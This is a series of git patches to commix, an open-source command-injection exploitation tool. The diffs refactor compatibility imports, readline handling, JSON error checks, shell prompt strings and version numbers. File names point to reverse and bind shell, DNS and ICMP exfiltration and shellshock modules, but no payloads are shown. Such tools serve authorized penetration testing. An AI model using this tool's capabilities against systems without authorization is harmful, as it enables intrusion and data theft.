sys.version_info[:2] >= (2, 7): + from collections import OrderedDict +else: + from ordereddict import OrderedDict diff --git a/src/thirdparty/odict/ordereddict.py b/src/thirdparty/odict/ordereddict.py new file mode 100644 index 0000000000..1cdd6f46ed --- /dev/null +++ b/src/thirdparty/odict/ordereddict.py @@ -0,0 +1,133 @@ +# Copyright (c) 2009 Raymond Hettinger +# +# Permission is hereby granted, free of charge, to any person +# obtaining a copy of this software and associated documentation files +# (the "Software"), to deal in the Software without restriction, +# including without limitation the rights to use, copy, modify, merge, +# publish, distribute, sublicense, and/or sell copies of the Software, +# and to permit persons to whom the Software is furnished to do so, +# subject to the following conditions: +# +# The above copyright notice and this permission notice shall be +# included in all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES +# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT +# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR +# OTHER DEALINGS IN THE SOFTWARE. + +try: + from UserDict import DictMixin +except ImportError: + try: + from collections.abc import MutableMapping as DictMixin + except ImportError: + from collections import MutableMapping as DictMixin + +class OrderedDict(dict, DictMixin): + + def __init__(self, *args, **kwds): + if len(args) > 1: + raise TypeError('expected at most 1 arguments, got %d' % len(args)) + try: + self.__end + except AttributeError: + self.clear() + self.update(*args, **kwds) + + def clear(self): + self.__end = end = [] + end += [None, end, end] # sentinel node for doubly linked list + self.__map = {} # key --> [key, prev, next] + dict.clear(self) + + def __setitem__(self, key, value): + if key not in self: + end = self.__end + curr = end[1] + curr[2] = end[1] = self.__map[key] = [key, curr, end] + dict.__setitem__(self, key, value) + + def __delitem__(self, key): + dict.__delitem__(self, key) + key, prev, next = self.__map.pop(key) + prev[2] = next + next[1] = prev + + def __iter__(self): + end = self.__end + curr = end[2] + while curr is not end: + yield curr[0] + curr = curr[2] + + def __reversed__(self): + end = self.__end + curr = end[1] + while curr is not end: + yield curr[0] + curr = curr[1] + + def popitem(self, last=True): + if not self: + raise KeyError('dictionary is empty') + if last: + key = next(reversed(self)) + else: + key = next(iter(self)) + value = self.pop(key) + return key, value + + def __reduce__(self): + items = [[k, self[k]] for k in self] + tmp = self.__map, self.__end + del self.__map, self.__end + inst_dict = vars(self).copy() + self.__map, self.__end = tmp + if inst_dict: + return (self.__class__, (items,), inst_dict) + return self.__class__, (items,) + + def keys(self): + return list(self) + + setdefault = DictMixin.setdefault + update = DictMixin.update + pop = DictMixin.pop + values = DictMixin.values + items = DictMixin.items + iterkeys = DictMixin.iterkeys + itervalues = DictMixin.itervalues + iteritems = DictMixin.iteritems + + def __repr__(self): + if not self: + return '%s()' % (self.__class__.__name__,) + return '%s(%r)' % (self.__class__.__name__, list(self.items())) + + def copy(self): + return self.__class__(self) + + @classmethod + def fromkeys(cls, iterable, value=None): + d = cls() + for key in iterable: + d[key] = value + return d + + def __eq__(self, other): + if isinstance(other, OrderedDict): + if len(self) != len(other): + return False + for p, q in zip(self.items(), other.items()): + if p != q: + return False + return True + return dict.__eq__(self, other) + + def __ne__(self, other): + return not self == other diff --git a/src/thirdparty/six/__init__.py b/src/thirdparty/six/__init__.py index 89b2188fd6..bba719bf42 100644 --- a/src/thirdparty/six/__init__.py +++ b/src/thirdparty/six/__init__.py @@ -253,6 +253,7 @@ class _MovedItems(_LazyModule): MovedAttribute("xrange", "__builtin__", "builtins", "xrange", "range"), MovedAttribute("zip", "itertools", "builtins", "izip", "zip"), MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"), + MovedModule("collections_abc", "collections", "collections.abc" if sys.version_info >= (3, 3) else "collections"), MovedModule("builtins", "__builtin__"), MovedModule("configparser", "ConfigParser"), MovedModule("copyreg", "copy_reg"), diff --git a/src/utils/settings.py b/src/utils/settings.py index 8494bf0653..4606414bfd 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "40" +REVISION = "41" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From d8dc47104a88224e8f6d96b13be7e3849cc9f898 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 8 Jan 2022 11:54:09 +0200 Subject: [PATCH 043/560] Update regarding https://github.com/commixproject/commix/commit/8325ae132f871b36f6bdab60b1c33e5ffd01a0c6 --- src/thirdparty/flatten_json/flatten_json.py | 2 +- src/thirdparty/odict/__init__.py | 5 +- src/thirdparty/odict/ordereddict.py | 133 -------------------- src/utils/settings.py | 2 +- 4 files changed, 5 insertions(+), 137 deletions(-) delete mode 100644 src/thirdparty/odict/ordereddict.py diff --git a/src/thirdparty/flatten_json/flatten_json.py b/src/thirdparty/flatten_json/flatten_json.py index a3009ed76e..369450bee5 100644 --- a/src/thirdparty/flatten_json/flatten_json.py +++ b/src/thirdparty/flatten_json/flatten_json.py @@ -9,7 +9,7 @@ """ from src.utils import settings from src.thirdparty.odict import OrderedDict -#from collections import Iterable +from src.thirdparty.six.moves import collections_abc as _collections def check_if_numbers_are_consecutive(list_): """ diff --git a/src/thirdparty/odict/__init__.py b/src/thirdparty/odict/__init__.py index 8571776ae4..a118a02dd2 100644 --- a/src/thirdparty/odict/__init__.py +++ b/src/thirdparty/odict/__init__.py @@ -3,6 +3,7 @@ import sys if sys.version_info[:2] >= (2, 7): - from collections import OrderedDict + from collections import OrderedDict else: - from ordereddict import OrderedDict + from src.thirdparty.six.moves import collections_abc as _collections + from _collections import OrderedDict diff --git a/src/thirdparty/odict/ordereddict.py b/src/thirdparty/odict/ordereddict.py deleted file mode 100644 index 1cdd6f46ed..0000000000 --- a/src/thirdparty/odict/ordereddict.py +++ /dev/null @@ -1,133 +0,0 @@ -# Copyright (c) 2009 Raymond Hettinger -# -# Permission is hereby granted, free of charge, to any person -# obtaining a copy of this software and associated documentation files -# (the "Software"), to deal in the Software without restriction, -# including without limitation the rights to use, copy, modify, merge, -# publish, distribute, sublicense, and/or sell copies of the Software, -# and to permit persons to whom the Software is furnished to do so, -# subject to the following conditions: -# -# The above copyright notice and this permission notice shall be -# included in all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES -# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND -# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT -# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, -# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR -# OTHER DEALINGS IN THE SOFTWARE. - -try: - from UserDict import DictMixin -except ImportError: - try: - from collections.abc import MutableMapping as DictMixin - except ImportError: - from collections import MutableMapping as DictMixin - -class OrderedDict(dict, DictMixin): - - def __init__(self, *args, **kwds): - if len(args) > 1: - raise TypeError('expected at most 1 arguments, got %d' % len(args)) - try: - self.__end - except AttributeError: - self.clear() - self.update(*args, **kwds) - - def clear(self): - self.__end = end = [] - end += [None, end, end] # sentinel node for doubly linked list - self.__map = {} # key --> [key, prev, next] - dict.clear(self) - - def __setitem__(self, key, value): - if key not in self: - end = self.__end - curr = end[1] - curr[2] = end[1] = self.__map[key] = [key, curr, end] - dict.__setitem__(self, key, value) - - def __delitem__(self, key): - dict.__delitem__(self, key) - key, prev, next = self.__map.pop(key) - prev[2] = next - next[1] = prev - - def __iter__(self): - end = self.__end - curr = end[2] - while curr is not end: - yield curr[0] - curr = curr[2] - - def __reversed__(self): - end = self.__end - curr = end[1] - while curr is not end: - yield curr[0] - curr = curr[1] - - def popitem(self, last=True): - if not self: - raise KeyError('dictionary is empty') - if last: - key = next(reversed(self)) - else: - key = next(iter(self)) - value = self.pop(key) - return key, value - - def __reduce__(self): - items = [[k, self[k]] for k in self] - tmp = self.__map, self.__end - del self.__map, self.__end - inst_dict = vars(self).copy() - self.__map, self.__end = tmp - if inst_dict: - return (self.__class__, (items,), inst_dict) - return self.__class__, (items,) - - def keys(self): - return list(self) - - setdefault = DictMixin.setdefault - update = DictMixin.update - pop = DictMixin.pop - values = DictMixin.values - items = DictMixin.items - iterkeys = DictMixin.iterkeys - itervalues = DictMixin.itervalues - iteritems = DictMixin.iteritems - - def __repr__(self): - if not self: - return '%s()' % (self.__class__.__name__,) - return '%s(%r)' % (self.__class__.__name__, list(self.items())) - - def copy(self): - return self.__class__(self) - - @classmethod - def fromkeys(cls, iterable, value=None): - d = cls() - for key in iterable: - d[key] = value - return d - - def __eq__(self, other): - if isinstance(other, OrderedDict): - if len(self) != len(other): - return False - for p, q in zip(self.items(), other.items()): - if p != q: - return False - return True - return dict.__eq__(self, other) - - def __ne__(self, other): - return not self == other diff --git a/src/utils/settings.py b/src/utils/settings.py index 4606414bfd..633c888bd3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "41" +REVISION = "42" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From b3166363dc9dfca21e69723afa45d15144e19de0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 9 Jan 2022 09:11:21 +0200 Subject: [PATCH 044/560] Minor bug-fix regarding parsing JSON objects. --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 6 ++++-- src/utils/settings.py | 2 +- 3 files changed, 6 insertions(+), 3 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 65b2686aa5..02bdfbd41a 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.4 (TBA) +* Fixed: Minor bug-fix regarding parsing JSON objects. * Added: New option ( `--drop-set-cookie`) for ignoring Set-Cookie header from response. * Added: Support for checking for not declared cookie(s). * Added: New (hidden) option `--smoke-test` that runs the basic smoke testing. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 7d2c4721d5..1123cf5820 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1428,9 +1428,11 @@ def is_JSON_check(parameter): re.search(settings.JSON_LIKE_RECOGNITION_REGEX, parameter): return True except ValueError as err_msg: + _ = False + if "Expecting" in str(err_msg) and any(_ in str(err_msg) for _ in ("value", "delimiter")): + _ = True if not "No JSON object could be decoded" in str(err_msg) and \ - not "Expecting value" in str(err_msg) and \ - not "Expecting , delimiter" in str(err_msg): + not _: err_msg = "JSON " + str(err_msg) + ". " print(settings.print_critical_msg(err_msg) + "\n") raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index 633c888bd3..68997b2fcf 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "42" +REVISION = "43" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 49de76023728b023b355d70f75e3482081cf5ff4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 10 Jan 2022 09:18:29 +0200 Subject: [PATCH 045/560] Minor update --- src/core/injections/controller/checks.py | 3 +-- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 1123cf5820..656097938c 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -51,11 +51,10 @@ import gnureadline as readline except ImportError: try: - import gnureadline as readline + import readline except ImportError: settings.READLINE_ERROR = True - """ check for not declared cookie(s) """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 68997b2fcf..a836f1bedd 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "43" +REVISION = "44" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From a91f105fac85fc34d38a21a22eb46c12831cf2e6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 11 Jan 2022 18:14:54 +0200 Subject: [PATCH 046/560] Minor update --- .../injections/blind/techniques/time_based/tb_handler.py | 3 ++- .../results_based/techniques/classic/cb_handler.py | 3 ++- .../results_based/techniques/eval_based/eb_handler.py | 3 ++- .../injections/semiblind/techniques/file_based/fb_handler.py | 3 ++- .../semiblind/techniques/tempfile_based/tfb_handler.py | 3 ++- src/core/modules/dns_exfiltration/dns_exfiltration.py | 3 ++- src/core/modules/icmp_exfiltration/icmp_exfiltration.py | 3 ++- src/core/modules/shellshock/shellshock.py | 3 ++- src/core/shells/bind_tcp.py | 4 ++-- src/core/shells/reverse_tcp.py | 3 ++- src/utils/settings.py | 5 ++++- 11 files changed, 24 insertions(+), 12 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index aabbfb621a..91db9fdc07 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -514,7 +514,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r try: if not settings.READLINE_ERROR: checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) + sys.stdout.write(settings.OS_SHELL) + cmd = _input() cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 052674bbd2..51c0fd190c 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -376,7 +376,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ try: if not settings.READLINE_ERROR: checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) + sys.stdout.write(settings.OS_SHELL) + cmd = _input() cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 066daccb06..c0fbb291fe 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -389,7 +389,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ try: if not settings.READLINE_ERROR: checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) + sys.stdout.write(settings.OS_SHELL) + cmd = _input() cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index b0fa15ad20..0883cad0a0 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -609,7 +609,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r while True: if not settings.READLINE_ERROR: checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) + sys.stdout.write(settings.OS_SHELL) + cmd = _input() cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL != 0: # print(settings.SINGLE_WHITESPACE) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 6e2321a1bb..18e6efe33a 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -563,7 +563,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, false_positive_warning = False if not settings.READLINE_ERROR: checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) + sys.stdout.write(settings.OS_SHELL) + cmd = _input() cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py index 9672ead123..17cd1a01d8 100755 --- a/src/core/modules/dns_exfiltration/dns_exfiltration.py +++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py @@ -119,7 +119,8 @@ def input_cmd(dns_server, http_request_method, url, vuln_parameter, technique): try: if not settings.READLINE_ERROR: checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) + sys.stdout.write(settings.OS_SHELL) + cmd = _input() cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: if cmd.lower() == "quit" or cmd.lower() == "back": diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py index 1fe99f9faf..732d1db9a8 100755 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py @@ -153,7 +153,8 @@ def input_cmd(http_request_method, url, vuln_parameter, ip_src, technique): try: if not settings.READLINE_ERROR: checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) + sys.stdout.write(settings.OS_SHELL) + cmd = _input() cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: if cmd.lower() == "quit" or cmd.lower() == "back": diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index a112c970c1..5406a0a0cc 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -776,7 +776,8 @@ def shellshock_handler(url, http_request_method, filename): try: if not settings.READLINE_ERROR: checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) + sys.stdout.write(settings.OS_SHELL) + cmd = _input() cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 53141793f3..30b635ecc7 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -520,10 +520,10 @@ def bind_tcp_options(separator): Set up the bind TCP connection """ def configure_bind_tcp(separator): - # Set up rhost for the bind TCP connection while True: - option = _input("""commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """) + sys.stdout.write(settings.BIND_TCP_SHELL) + option = _input() if option.lower() == "bind_tcp": warn_msg = "You are already into the '" + option.lower() + "' mode." print(settings.print_warning_msg(warn_msg)) diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 8944e3569f..1384ce8579 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -735,7 +735,8 @@ def reverse_tcp_options(separator): def configure_reverse_tcp(separator): # Set up LHOST for the reverse TCP connection while True: - option = _input("""commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """) + sys.stdout.write(settings.REVERSE_TCP_SHELL) + option = _input() if option.lower() == "reverse_tcp": warn_msg = "You are already into the '" + option.lower() + "' mode." print(settings.print_warning_msg(warn_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index a836f1bedd..121368ea36 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -62,6 +62,9 @@ class HTTPMETHOD(object): DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] " DEBUG_BOLD_SIGN = "[" + Back.BLUE + Style.BRIGHT + Fore.WHITE + "debug" + Style.RESET_ALL + "] " + Style.BRIGHT CHECK_SIGN = DEBUG_SIGN + "Checking pair of credentials: " +OS_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """ +REVERSE_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """ +BIND_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """ # Print error message def print_error_msg(err_msg): @@ -222,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "44" +REVISION = "45" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 9d233d283d3916a7efbba914316318e986bb2b96 Mon Sep 17 00:00:00 2001 From: Anastasios Stasinopoulos Date: Sat, 15 Jan 2022 16:55:09 +0200 Subject: [PATCH 047/560] Delete .travis.yml --- .travis.yml | 15 --------------- 1 file changed, 15 deletions(-) delete mode 100755 .travis.yml diff --git a/.travis.yml b/.travis.yml deleted file mode 100755 index 4ae5c8bd1f..0000000000 --- a/.travis.yml +++ /dev/null @@ -1,15 +0,0 @@ -language: python -jobs: - include: - - python: 2.6 - dist: trusty - - python: 2.7 - dist: trusty - - python: 3.3 - dist: trusty - - python: 3.6 - dist: trusty - - python: nightly - dist: bionic -script: - - python -c "import commix" From bc44723603975ec9c80350bb87deb7c22efcf495 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 16 Jan 2022 11:51:24 +0200 Subject: [PATCH 048/560] Minor update --- src/core/injections/controller/checks.py | 37 ++++++++++-------------- src/utils/settings.py | 2 +- 2 files changed, 16 insertions(+), 23 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 656097938c..1cbafc53e2 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -36,24 +36,18 @@ from src.thirdparty.colorama import Fore, Back, Style, init from src.thirdparty.flatten_json.flatten_json import flatten, unflatten_list -if settings.IS_WINDOWS: - try: - import readline - except ImportError: - try: - import pyreadline as readline - except ImportError: - settings.READLINE_ERROR = True -else: - try: - import readline +try: + from readline import * + import readline as readline + if settings.PLATFORM == "mac": if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): import gnureadline as readline - except ImportError: - try: - import readline - except ImportError: - settings.READLINE_ERROR = True +except: + try: + from pyreadline import * + import pyreadline as readline + except: + settings.READLINE_ERROR = True """ check for not declared cookie(s) @@ -90,14 +84,13 @@ def not_declared_cookies(response): """ def tab_autocompleter(): try: - # Tab compliter - readline.set_completer(menu.tab_completer) # MacOSX tab compliter - if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): + if 'libedit' in readline.__doc__: readline.parse_and_bind("bind ^I rl_complete") - # Unix tab compliter else: readline.parse_and_bind("tab: complete") + # Tab compliter + readline.set_completer(menu.tab_completer) except AttributeError: error_msg = "Failed while trying to use platform's readline library." print(settings.print_error_msg(error_msg)) @@ -528,7 +521,7 @@ def no_readline_module(): err_msg += " Download the" if settings.IS_WINDOWS: err_msg += " 'pyreadline' module (https://pypi.python.org/pypi/pyreadline)." - else: + elif settings.PLATFORM == "mac": err_msg += " 'gnureadline' module (https://pypi.python.org/pypi/gnureadline)." print(settings.print_critical_msg(err_msg)) @@ -747,7 +740,7 @@ def third_party_dependencies(): err_msg += "completion and history support features. " print(settings.print_critical_msg(err_msg)) raise SystemExit() - else: + elif settings.PLATFORM == "mac": try: import gnureadline except ImportError: diff --git a/src/utils/settings.py b/src/utils/settings.py index 121368ea36..73691b84fc 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "45" +REVISION = "46" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 11976cfeb714056890c76555dc8ea73e2d96c36c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 16 Jan 2022 18:31:08 +0200 Subject: [PATCH 049/560] Refresh --- COMMITMENT.txt | 0 LICENSE.txt | 0 README.md | 0 doc/AUTHOR | 0 doc/translations/README-gr-GR.md | 0 setup.py | 0 src/__init__.py | 0 src/core/__init__.py | 0 src/core/compat.py | 0 src/core/convert.py | 0 src/core/injections/__init__.py | 0 src/core/injections/blind/__init__.py | 0 src/core/injections/blind/techniques/__init__.py | 0 src/core/injections/blind/techniques/time_based/__init__.py | 0 src/core/injections/controller/__init__.py | 0 src/core/injections/controller/controller.py | 0 src/core/injections/results_based/__init__.py | 0 src/core/injections/results_based/techniques/__init__.py | 0 src/core/injections/results_based/techniques/classic/__init__.py | 0 .../injections/results_based/techniques/eval_based/__init__.py | 0 src/core/injections/semiblind/__init__.py | 0 src/core/injections/semiblind/techniques/__init__.py | 0 src/core/injections/semiblind/techniques/file_based/__init__.py | 0 .../injections/semiblind/techniques/tempfile_based/__init__.py | 0 src/core/main.py | 0 src/core/modules/__init__.py | 0 src/core/modules/dns_exfiltration/__init__.py | 0 src/core/modules/icmp_exfiltration/__init__.py | 0 src/core/modules/modules_handler.py | 0 src/core/modules/shellshock/__init__.py | 0 src/core/requests/__init__.py | 0 src/core/requests/authentication.py | 0 src/core/requests/proxy.py | 0 src/core/requests/tor.py | 0 src/core/shells/__init__.py | 0 src/core/tamper/__init__.py | 0 src/core/tamper/backslashes.py | 0 src/core/tamper/backticks.py | 0 src/core/tamper/base64encode.py | 0 src/core/tamper/caret.py | 0 src/core/tamper/dollaratsigns.py | 0 src/core/tamper/doublequotes.py | 0 src/core/tamper/hexencode.py | 0 src/core/tamper/multiplespaces.py | 0 src/core/tamper/nested.py | 0 src/core/tamper/singlequotes.py | 0 src/core/tamper/slash2env.py | 0 src/core/tamper/sleep2timeout.py | 0 src/core/tamper/sleep2usleep.py | 0 src/core/tamper/space2htab.py | 0 src/core/tamper/space2ifs.py | 0 src/core/tamper/space2plus.py | 0 src/core/tamper/space2vtab.py | 0 src/core/tamper/uninitializedvariable.py | 0 src/core/tamper/xforwardedfor.py | 0 src/core/testing.py | 0 src/thirdparty/__init__.py | 0 src/thirdparty/beautifulsoup/__init__.py | 0 src/thirdparty/beautifulsoup/beautifulsoup.py | 0 src/thirdparty/colorama/__init__.py | 0 src/thirdparty/colorama/ansi.py | 0 src/thirdparty/colorama/ansitowin32.py | 0 src/thirdparty/colorama/initialise.py | 0 src/thirdparty/colorama/win32.py | 0 src/thirdparty/colorama/winterm.py | 0 src/thirdparty/flatten_json/__init__.py | 0 src/thirdparty/flatten_json/flatten_json.py | 0 src/thirdparty/odict/__init__.py | 0 src/thirdparty/six/__init__.py | 0 src/txt/passwords_john.txt | 0 src/txt/shocker-cgi_list.txt | 0 src/txt/usernames.txt | 0 src/utils/__init__.py | 0 src/utils/colors.py | 0 src/utils/common.py | 0 src/utils/crawler.py | 0 src/utils/install.py | 0 src/utils/purge.py | 0 src/utils/requirments.py | 0 src/utils/sgmllib.py | 0 src/utils/simple_http_server.py | 0 src/utils/version.py | 0 82 files changed, 0 insertions(+), 0 deletions(-) mode change 100644 => 100755 COMMITMENT.txt mode change 100644 => 100755 LICENSE.txt mode change 100644 => 100755 README.md mode change 100644 => 100755 doc/AUTHOR mode change 100644 => 100755 doc/translations/README-gr-GR.md mode change 100644 => 100755 setup.py mode change 100644 => 100755 src/__init__.py mode change 100644 => 100755 src/core/__init__.py mode change 100644 => 100755 src/core/compat.py mode change 100644 => 100755 src/core/convert.py mode change 100644 => 100755 src/core/injections/__init__.py mode change 100644 => 100755 src/core/injections/blind/__init__.py mode change 100644 => 100755 